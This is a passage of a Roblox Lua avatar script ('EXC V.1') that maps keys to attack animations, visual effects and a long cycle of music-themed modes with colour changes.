0,SizeBoomerang = 50}) for i = 0,0.5,0.1 do swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(90)),0.7/3) Neck.C0 = Clerp(Neck.C0,nc0 * CFrame.new() * CFrame.Angles(math.rad(0),math.rad(0),math.rad(-90)),1/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,0.5,0) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(90)) * rscp,1/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,0.5,0) * CFrame.Angles(math.rad(40),math.rad(5),math.rad(5)) * lscp,1/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-0.5,-0.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),0.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),0.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) end ATTACK = false end --//=================================\\ --|| ASSIGN THINGS TO KEYS --\\=================================// SendMessage("[EXC V.1]: ","EXC V.1 loaded") function MouseDown(Mouse) if ATTACK == false then attackone() end end function MouseUp(Mouse) HOLD = false end function KeyDown(Key) KEYHOLD = true if Key == "e" and ATTACK == false then local Size,StudsAway = Vector3.new(2.5,9,2.5),-4 for i = 1,50 do local Shard = IT_("Ring",workspace,{Material = Enum.Material.Glass,Reflectance = 3,CFrame = RootPart.CFrame*CFrame.new(math.random(-2,2)/4,-3-Size.Y/2,StudsAway+math.random(-2,2)/4)*CFrame.fromEulerAnglesXYZ(100,math.random(0,180),.4),Anchored = true,CanCollide = false,Size = Size}) game:GetService("Debris"):AddItem(Shard,3) game:GetService("TweenService"):Create(Shard,TweenInfo.new(.3),{CFrame = Shard.CFrame*CFrame.new(0,Size.Y,0)}):Play() game:GetService("TweenService"):Create(Shard,TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.In,0,false,2),{Transparency = 1}):Play() StudsAway = StudsAway-2 Size = Vector3.new(2.5,9,2.5)*(1+i/10) wait() end end if Key == "k" and ATTACK == false and mde == 20 then LookUp = true end if Key == "l" and ATTACK == false and mde == 20 then LookUp = false end if Key == "n" and ATTACK == false and mde == 1 then sick.TimePosition = 0 sick.SoundId = "rbxassetid://611191130" SendMessage("[EXC V.1]: ","Secret song!") end if Key == "[" and ATTACK == false then print("yes") end if Key == "r" and ATTACK == false and info == false then info = true elseif Key == "r" and ATTACK == false and info == true then info = false end if Key == "t" and ATTACK == false then refit() end if Key == "q" and ATTACK == false then RootPart.CFrame = CFrame.new(1,10,1) end if Key == "z" and ATTACK == false then hedshoot() end if Key == "v" and ATTACK == false then attacktwo() end if Key == "c" and ATTACK == false then attackone2() end if Key == "n" and mde == 27 then SkiddedSendMessage("[EXC V.1]: ","SKID.") wait(1.2) CreateSound(4138167041,Head,10,1,false) end if Key == "m" and ATTACK == false and mde == 0 then mde = 1 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1591072638" ModeName.Text = "Mode: Insane" elseif Key == "m" and ATTACK == false and mde == 1 then mde = 2 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://481104377" ModeName.Text = "Mode: Error" elseif Key == "m" and ATTACK == false and mde == 2 then mde = 3 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://2297862957" ModeName.Text = "Mode: Glitch" elseif Key == "m" and ATTACK == false and mde == 3 then mde = 4 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://4185475912" ModeName.Text = "Mode: Lord" elseif Key == "m" and ATTACK == false and mde == 4 then mde = 5 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://5170646860" ModeName.Text = "Mode: Lost" elseif Key == "m" and ATTACK == false and mde == 5 then mde = 6 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://4911242029" ModeName.Text = "Mode: Calm" elseif Key == "m" and ATTACK == false and mde == 6 then mde = 7 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://348832364" ModeName.Text = "Mode: SolidLC" elseif Key == "m" and ATTACK == false and mde == 7 then mde = 8 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://6556569538" ModeName.Text = "Mode: Cradles" elseif Key == "m" and ATTACK == false and mde == 8 then mde = 9 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://4557673096" ModeName.Text = "Mode: KarMa" elseif Key == "m" and ATTACK == false and mde == 9 then mde = 10 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://6294793094" ModeName.Text = "Mode: Reincarnation" elseif Key == "m" and ATTACK == false and mde == 10 then mde = 11 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://573736432" sick.PlaybackSpeed = .8 ModeName.Text = "Mode: ECHO" elseif Key == "m" and ATTACK == false and mde == 11 then mde = 12 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://3049104895" sick.PlaybackSpeed = 1 SendMessage("[EXC V.1]: ","Our Trauma.") ModeName.Text = "Mode: The Origins?" elseif Key == "m" and ATTACK == false and mde == 12 then mde = 13 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://723652641" SendMessage("[EXC V.1]: ","Darkness.") ModeName.Text = "Mode: Darkness" elseif Key == "m" and ATTACK == false and mde == 13 then mde = 14 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1180273873" ModeName.Text = "Mode: Over" elseif Key == "m" and ATTACK == false and mde == 14 then mde = 15 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://789657160" sick.Pitch = 1.18 ModeName.Text = "Mode: Crystal" elseif Key == "m" and ATTACK == false and mde == 15 then mde = 16 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://2920078671" sick.Pitch = 1 ModeName.Text = "Mode: Fastboi" elseif Key == "m" and ATTACK == false and mde == 16 then mde = 17 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1338971957" sick.Pitch = 1 ModeName.Text = "Mode: Chill." elseif Key == "m" and ATTACK == false and mde == 17 then mde = 18 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://3979209289" sick.Pitch = 1 ModeName.Text = "Mode: Studio Dummy" elseif Key == "m" and ATTACK == false and mde == 18 then mde = 19 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://6049110238" sick.Pitch = 1 ModeName.Text = "Mode: Immortality Lord" elseif Key == "m" and ATTACK == false and mde == 19 then mde = 20 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://3254997454" sick.Pitch = 1 ModeName.Text = "Mode: TinyIL" elseif Key == "m" and ATTACK == false and mde == 20 then mde = 21 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://4527441029" sick.Pitch = 1 ModeName.Text = "Mode: Toxenity" elseif Key == "m" and ATTACK == false and mde == 21 then mde = 22 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://3134116147" sick.Pitch = 1 ModeName.Text = "Mode: Dream" elseif Key == "m" and ATTACK == false and mde == 22 then mde = 23 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://5618245296" sick.Pitch = 1 ModeName.Text = "Mode: Sniper" elseif Key == "m" and ATTACK == false and mde == 23 then mde = 24 Scythe.Parent = nil sick.TimePosition = 0 -- MODE -- sick.SoundId = "rbxassetid://577543579" sick.Pitch = 1 ModeName.Text = "Mode: ?" elseif Key == "m" and ATTACK == false and mde == 24 then mde = 25 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://170282324" sick.Pitch = 1 SendMessage("[EXC V.1]: ","C Y B E R B I L I T Y . . . ") ModeName.Text = "Mode: Cyberbility" elseif Key == "m" and ATTACK == false and mde == 25 then mde = 26 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1466489435" sick.Pitch = 1 ModeName.Text = "Mode: Visualizer" elseif Key == "m" and ATTACK == false and mde == 26 then mde = 27 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://844654533" sick.Pitch = 1 sick.Volume = 1 SkiddedSendMessage("[EXC V.1]: ","Too many SKIDSSSSS") ModeName.Text = "Mode: SKID." elseif Key == "m" and ATTACK == false and mde == 27 then mde = 28 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1986375341" sick.Pitch = 1 sick.Volume = 10 ModeName.Text = "Mode: AOS" elseif Key == "m" and ATTACK == false and mde == 28 then mde = 29 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://611191130" sick.Pitch = 1 ModeName.Text = "Mode: Bad-Karma" elseif Key == "m" and ATTACK == false and mde == 29 then mde = 30 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1103329236" sick.Pitch = 1 SkiddedSendMessage("[EXC V.1]: ","I am the end") ModeName.Text = "Mode: TrUe SlAyEr!!11!1" elseif Key == "m" and ATTACK == false and mde == 30 then mde = 31 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://2598224585" sick.Pitch = 1 ModeName.Text = "Mode: MARENOL" elseif Key == "m" and ATTACK == false and mde == 31 then mde = 32 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://2192509503" sick.Pitch = 1 SendMessage("[EXC V.1]: ","Let the hunt begin") ModeName.Text = "Mode: Hunter" elseif Key == "m" and ATTACK == false and mde == 32 then mde = 33 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1074563286" sick.Pitch = 1 SendMessage("[EXC V.1]: ","Abyss..") ModeName.Text = "Mode: Abyss Eye" elseif Key == "m" and ATTACK == false and mde == 33 then mde = 34 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://929330882" sick.Pitch = 1 ModeName.Text = "Mode: Injustice" elseif Key == "m" and ATTACK == false and mde == 34 then mde = 35 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://6206729783" sick.Pitch = 1 ModeName.Text = "Mode: Psycho" elseif Key == "m" and ATTACK == false and mde == 35 then mde = 36 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1931001768" sick.Pitch = 1 ModeName.Text = "Mode: Fate" elseif Key == "m" and ATTACK == false and mde == 36 then mde = 37 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1012206928" sick.Pitch = 1 ModeName.Text = "Mode: Mystery" elseif Key == "m" and ATTACK == false and mde == 37 then mde = 38 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://3192740317" sick.Pitch = 1 ModeName.Text = "Mode: Death" elseif Key == "m" and ATTACK == false and mde == 38 then mde = 39 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1138145518" sick.Pitch = 1 ModeName.Text = "Mode: CREAM" elseif Key == "m" and ATTACK == false and mde == 39 then mde = 40 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://1046135187" ModeName.Text = "Mode: Red" elseif Key == "m" and ATTACK == false and mde == 40 then mde = 41 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://259554386" SendMessage("[EXC V.1]: ","Hexagon.") ModeName.Text = "Mode: Hexagon" elseif Key == "m" and ATTACK == false and mde == 41 then mde = 42 Scythe.Parent = nil sick.TimePosition = 0 sick.SoundId = "rbxassetid://492361565" ModeName.Text = "Mode: Heavenly" elseif Key == "m" and ATTACK == false and mde == 42 then mde = 43 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://5704085503" ModeName.Text = "Mode: Indefiance" elseif Key == "m" and ATTACK == false and mde == 43 then mde = 44 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://1282491661" ModeName.Text = "Mode: Jingles" elseif Key == "m" and ATTACK == false and mde == 44 then mde = 45 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://5707455397" ModeName.Text = "Mode: Lost Soul" elseif Key == "m" and ATTACK == false and mde == 45 then mde = 46 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://5640628952" ModeName.Text = "Mode: Extravagent" elseif Key == "m" and ATTACK == false and mde == 46 then mde = 47 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 9.5 sick.Volume = 10 sick.SoundId = "rbxassetid://6969198609" ModeName.Text = "Mode: Eternal" elseif Key == "m" and ATTACK == false and mde == 47 then mde = 48 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://2904137450" ModeName.Text = "Mode: Glitcher" elseif Key == "m" and ATTACK == false and mde == 48 then mde = 49 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://3693522491" ModeName.Text = "Mode: Friend" elseif Key == "m" and ATTACK == false and mde == 49 then mde = 50 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://5817546077" ModeName.Text = "Mode: CPS" elseif Key == "m" and ATTACK == false and mde == 50 then mde = 51 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://301089564" ModeName.Text = "Mode: FBI" elseif Key == "m" and ATTACK == false and mde == 51 then mde = 52 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://1269076536" ModeName.Text = "Mode: Vibe" elseif Key == "m" and ATTACK == false and mde == 52 then mde = 53 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://4602123805" ModeName.Text = "Mode: Edge" elseif Key == "m" and ATTACK == false and mde == 53 then mde = 54 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://344884629" ModeName.Text = "Mode: Stronger" elseif Key == "m" and ATTACK == false and mde == 54 then mde = 55 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://6037311620" ModeName.Text = "Mode: MAYHEM" elseif Key == "m" and ATTACK == false and mde == 55 then mde = 56 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://3633767782" ModeName.Text = "Mode: Giorno" elseif Key == "n" and ATTACK == false then mde = 57 Scythe.Parent = Character sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://7146075180" ModeName.Text = "Mode: Fallen" elseif Key == "b" and ATTACK == false then mde = 58 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://3289312660" ModeName.Text = "Mode: DOOM" elseif Key == "l" and ATTACK == false then mde = 59 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://3458712840" ModeName.Text = "Mode: Linger" elseif Key == "m" and ATTACK == false and mde == 59 then mde = 0 Scythe.Parent = nil sick.PlaybackSpeed = 1 sick.Pitch = 1 sick.TimePosition = 0 sick.Volume = 10 sick.SoundId = "rbxassetid://604910909" ModeName.Text = "Mode: None" end end function KeyUp(Key) KEYHOLD = false end Mouse.Button1Down:connect(function(NEWKEY) MouseDown(NEWKEY) end) Mouse.Button1Up:connect(function(NEWKEY) MouseUp(NEWKEY) end) Mouse.KeyDown:connect(function(NEWKEY) KeyDown(NEWKEY) end) Mouse.KeyUp:connect(function(NEWKEY) KeyUp(NEWKEY) end) --//=================================\\ --\\=================================// function unanchor() if UNANCHOR == true then g = Character:GetChildren() for i = 1, #g do if g[i].ClassName == "Part" then g[i].Anchored = false end end end end --//=================================\\ --|| WRAP THE WHOLE SCRIPT UP --\\=================================// Humanoid.Changed:connect(function(Jump) if Jump == "Jump" and (Disable_Jump == true) then Humanoid.Jump = false end end) coroutine.wrap(function() while not stopeverything do swait() if doe < 360 then doe = doe + 2 else doe = 0 end end end)() local CONNECT = nil local isbruhhcircle = false function CreateStar(bonuspeed,FastSpeed,type,pos,x1,y1,z1,value,color,outerpos,ori) isbruhhcircle = not isbruhhcircle local isbruhcircle = isbruhhcircle local type = type local rng = Instance.new("Part") rng.Anchored = true rng.CanCollide = false rng.FormFactor = 3 rng.Name = "Ring" rng.Material = "Neon" rng.Size = Vector3.new(1, 1, 1) rng.Transparency = 0 if isbruhcircle then rng.Color = GUN.NeonParts.Color rng.Color = GUN.Mag.Color else rng.Color = shade end rng.TopSurface = 0 rng.BottomSurface = 0 rng.CFrame = pos rng.CFrame = rng.CFrame + rng.CFrame.lookVector*outerpos local rngm = Instance.new("SpecialMesh") rngm.MeshType = "Sphere" --rngm.MeshId = "rbxassetid://3054497727" rngm.Scale = Vector3.new(x1*20,y1*20,z1*20) rngm.Parent = rng rng.Parent = Effects local scaler2 = 1 local speeder = FastSpeed if type == "Add" then scaler2 = 1*value elseif type == "Divide" then scaler2 = 1/value end coroutine.resume(coroutine.create(function() if ori == true then rng.Orientation = Vector3.new(0,0,0) end for i = 0,10/bonuspeed,0.1 do Swait() if isbruhcircle then rng.Color = GUN.NeonParts.Color rng.Color = GUN.Mag.Color else rng.Color = shade end if type == "Add" then scaler2 = scaler2 - 0.01*value/bonuspeed elseif type == "Divide" then scaler2 = scaler2 - 0.01/value*bonuspeed end speeder = speeder - 0.01*FastSpeed*bonuspeed rng.CFrame = rng.CFrame + rng.CFrame.lookVector*speeder*bonuspeed rng.Transparency = rng.Transparency + 0.01*bonuspeed rngm.Scale = rngm.Scale + Vector3.new(scaler2*bonuspeed, scaler2*bonuspeed, scaler2*bonuspeed) end rng:Destroy() end)) end local antivoid = Instance.new("Part") antivoid.Size = Vector3.new(400,10,400) antivoid.Anchored = true antivoid.Transparency = 1 antivoid.Parent = workspace coroutine.resume(coroutine.create(function() while true do swait() if not alreadyfixing then antivoid.Position = Vector3.new(RootPart.Position.X,workspace.FallenPartsDestroyHeight+5,RootPart.Position.Z) end end end)) if not script then antivoid:Destroy() end Player.Chatted:connect(function(message) if mde == 26 then if message:sub(1,5) == "play/" then sick.SoundId = "rbxassetid://"..message:sub(6) elseif message:sub(1,6) == "pitch/" then sick.PlaybackSpeed = message:sub(7) elseif message:sub(1,4) == "vol/" then sick.Volume = message:sub(5) elseif message:sub(1,5) == "skip/" then sick.TimePosition = message:sub(6) end end end) local norot = Instance.new("Part",Character) norot.Size = Vector3.new(0.05,0.05,0.05) norot.Transparency = 1 norot.Anchored = true norot.CanCollide = false while true do norot.Position = RootPart.Position Swait() ANIMATE.Parent = nil if Character:FindFirstChildOfClass("Humanoid") == nil then Humanoid = IT("Humanoid",Character) end for _,v in next, Humanoid:GetPlayingAnimationTracks() do v:Stop(); end if Player == Player then Torsovelocity = (RootPart.Velocity).Magnitude end local sensitivity = 25 SINE = SINE + CHANGE local TORSOVELOCITY = (RootPart.Velocity * Vector3.new(1,0,1)).Magnitude local TORSOVERTICALVELOCITY = RootPart.Velocity.y sine = sine + change Sine = Sine + change SINE = SINE + CHANGE if mde == 11 then GUN.NeonParts.Color = Color3.fromRGB(100*sick.PlaybackLoudness/500,0,0) GUN.Mag.Color = Color3.fromRGB(100*sick.PlaybackLoudness/500,0,0) hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color elseif mde ~= 11 then GUN.NeonParts.Color = Color3.new(1, 1, 1) GUN.Mag.Color = Color3.fromRGB(1, 1, 1) hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color end if mde == 16 then GUN.NeonParts.Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)) GUN.Mag.Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)) hea.Color = GUN.NeonParts.Color RWing.Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)) LWing.Color = Color3.fromRGB(0,0,math.clamp(sick.PlaybackLoudness-191,0,255)) end if mde == 13 then GUN.NeonParts.Color = Color3.fromRGB(0,math.clamp(sick.PlaybackLoudness/1.8,0,255),math.clamp(sick.PlaybackLoudness/1.8,0,255)) GUN.Mag.Color = Color3.fromRGB(0,math.clamp(sick.PlaybackLoudness/1.8,0,255),math.clamp(sick.PlaybackLoudness/1.8,0,255)) hea.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color end if mde == 18 then GUNA.gun.Transparency = 0 GUN.Base.Transparency = 1 GUN.GunAdditions.Transparency = 1 GUN.NeonParts.Transparency = 1 GUN.Mag.Transparency = 1 GUN.Trigger.Transparency = 1 GUN.scope1.Transparency = 1 GUN.scope.Transparency = 1 GUN.Holding.Transparency = 1 GUN.Hole.Transparency = 1 GUN.Stock.Transparency = 1 GUNA.gun.Color = BrickColor.new("Royal purple").Color RWing.Color = Color3.fromRGB(98, 37, 209) LWing.Color = Color3.fromRGB(98, 37, 209) hea.Color = BrickColor.new("Royal purple").Color elseif mde ~= 18 then GUNA.gun.Transparency = 1 GUN.Base.Transparency = 0 GUN.GunAdditions.Transparency = 0 GUN.NeonParts.Transparency = 0 GUN.Mag.Transparency = 0 GUN.Trigger.Transparency = 0 GUN.scope1.Transparency = 0 GUN.scope.Transparency = 0 GUN.Hole.Transparency = 0 GUN.Stock.Transparency = 0 GUN.Holding.Transparency = 0 RWing.Color = GUN.NeonParts.Color LWing.Color = GUN.NeonParts.Color GUN.Mag.Color = GUN.NeonParts.Color hea.Color = GUN.NeonParts.Color end if mde == 43 then GUN.NeonParts.Color = Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0) GUN.Mag.Color = Color3.fromRGB(100*sick.PlaybackLoudness/0,0,0) Torso.Color = Color3.fromRGB(0,0,0) Head.Color = Color3.fromRGB(0,0,0) LeftArm.Color = Color3.fromRGB(0,0,0) RightArm.Color = Color3.fromRGB(0,0,0) LeftLeg.Color = Color3.fromRGB(0,0,0) RightLeg.Color = Color3.fromRGB(0,0,0) LWing.Color = Color3.fromRGB(0,0,0) RWing.Color = Color3.fromRGB(0,0,0) elseif mde ~= 43 then Torso.Color = Color3.fromRGB(0,0,0) Head.Color = Color3.fromRGB(255, 255, 255) LeftArm.Color = Color3.fromRGB(255, 255, 255) RightArm.Color = Color3.fromRGB(255, 255, 255) LeftLeg.Color = Color3.fromRGB(255, 255, 255) RightLeg.Color = Color3.fromRGB(255, 255, 255) end if mde == 45 then WACKYEFFECT({Time = 25, EffectType = "Swirl", Size = VT(0.5,0.5,0.5), Size2 = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 45, RotationZ = 0, Material = "Neon", Color = C3(math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500)), SoundID = nil, SoundPitch = 1, SoundVolume = 0}) end if mde == 46 then WACKYEFFECT({Time = 25, EffectType = "Wave", Size = VT(0,0,0), Size2 = VT(2+sick.PlaybackLoudness/10,2,2+sick.PlaybackLoudness/10), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 45, RotationZ = 0, Material = "Neon", Color = C3(math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500)), SoundID = nil, SoundPitch = 1, SoundVolume = 0}) end if mde == 47 then WACKYEFFECT({Time = 25, EffectType = "Round Slash", Size = VT(0.01,0.01,0.01), Size2 = VT(0.1+sick.PlaybackLoudness/1000,0.1,0.1+sick.PlaybackLoudness/1000), Transparency = 0.3, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 45, RotationZ = 0, Material = "Neon", Color = C3(math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500),math.min(1,sick.PlaybackLoudness/500)), SoundID = nil, SoundPitch = 1, SoundVolume = 0}) end if mde == 19 then WACKYEFFECThid({Time = 0.9, EffectType = "Arm", Size = VT(1.05,1.05,1.05), Size2 = VT(1.05,1.05,1.05), Transparency = 0.5, Transparency2 = 0.5, CFrame = RightArm.CFrame*CF(0,0,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Plastic", Color = Color3.fromRGB(0+0*sick.PlaybackLoudness/100,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) end if mde == 51 then GUN.NeonParts.Color = Color3.fromRGB(100*sick.PlaybackLoudness/500,0,0) GUN.Mag.Color = Color3.fromRGB(100*sick.PlaybackLoudness/500,0,0) LWing.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color hea.Color = GUN.NeonParts.Color RightArm.Color = GUN.NeonParts.Color end if mde == 52 then GUN.NeonParts.Color = Color3.fromRGB(0+170*sick.PlaybackLoudness/1000,0,0+170*sick.PlaybackLoudness/1000) GUN.Mag.Color = Color3.fromRGB(0+170*sick.PlaybackLoudness/1000,0,0+170*sick.PlaybackLoudness/1000) LWing.Color = GUN.NeonParts.Color RWing.Color = GUN.NeonParts.Color hea.Color = GUN.NeonParts.Color RightArm.Color = GUN.NeonParts.Color LeftArm.Color = GUN.NeonParts.Color RightLeg.Color = GUN.NeonParts.Color LeftLeg.Color = GUN.NeonParts.Color WACKYEFFECT({Time = 2.5, EffectType = "Sphere", Size = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Size2 = VT(7+sick.PlaybackLoudness/25,0.55,7+sick.PlaybackLoudness/25), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(0+170*sick.PlaybackLoudness/1000,0,0+170*sick.PlaybackLoudness/1000), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) end local MAINRUINCOLOR = BrickColor.new("Teal") local MAINRUINCOLOR2 = BrickColor.new("Institutional white") if mde == 48 then sphere2(8,"Add",RightLeg.CFrame*CFrame.new(0,-1,0)*CFrame.Angles(math.rad(math.random(-360,360)),math.rad(math.random(-360,360)),math.rad(math.random(-360,360))),VT(1,1,1),-0.01,0.05,-0.01,MAINRUINCOLOR,MAINRUINCOLOR.Color) sphere2(8,"Add",RightLeg.CFrame*CFrame.new(0,-1,0)*CFrame.Angles(math.rad(math.random(-360,360)),math.rad(math.random(-360,360)),math.rad(math.random(-360,360))),VT(1,1,1),-0.01,0.05,-0.01,MAINRUINCOLOR,MAINRUINCOLOR.Color) sphere2(8,"Add",LeftLeg.CFrame*CFrame.new(0,-1,0)*CFrame.Angles(math.rad(math.random(-360,360)),math.rad(math.random(-360,360)),math.rad(math.random(-360,360))),VT(1,1,1),-0.01,0.05,-0.01,MAINRUINCOLOR,MAINRUINCOLOR.Color) sphere2(8,"Add",LeftLeg.CFrame*CFrame.new(0,-1,0)*CFrame.Angles(math.rad(math.random(-360,360)),math.rad(math.random(-360,360)),math.rad(math.random(-360,360))),VT(1,1,1),-0.01,0.05,-0.01,MAINRUINCOLOR,MAINRUINCOLOR.Color) slash2(math.random(91,96)/10,5,true,"Round","Add","Out",RootPart.CFrame*CFrame.new(0,-3,0)*CFrame.Angles(math.rad(math.random(-10,10)),math.rad(math.random(-360,360)),math.rad(math.random(-10,10))),VT(0.000001,0.000001,0.000001),math.random(5,504)/250,BrickColor.new("White")) slash2(math.random(80,80)/10,5,true,"Round","Add","Out",norot.CFrame*CFrame.new(0,0+2*math.cos(sine/30),-0)*CFrame.Angles(math.rad(math.random(-0,0)),math.rad(math.random(-360,360)),math.rad(math.random(-0,0))),VT(0.05,0.001,0.05),0,MAINRUINCOLOR) 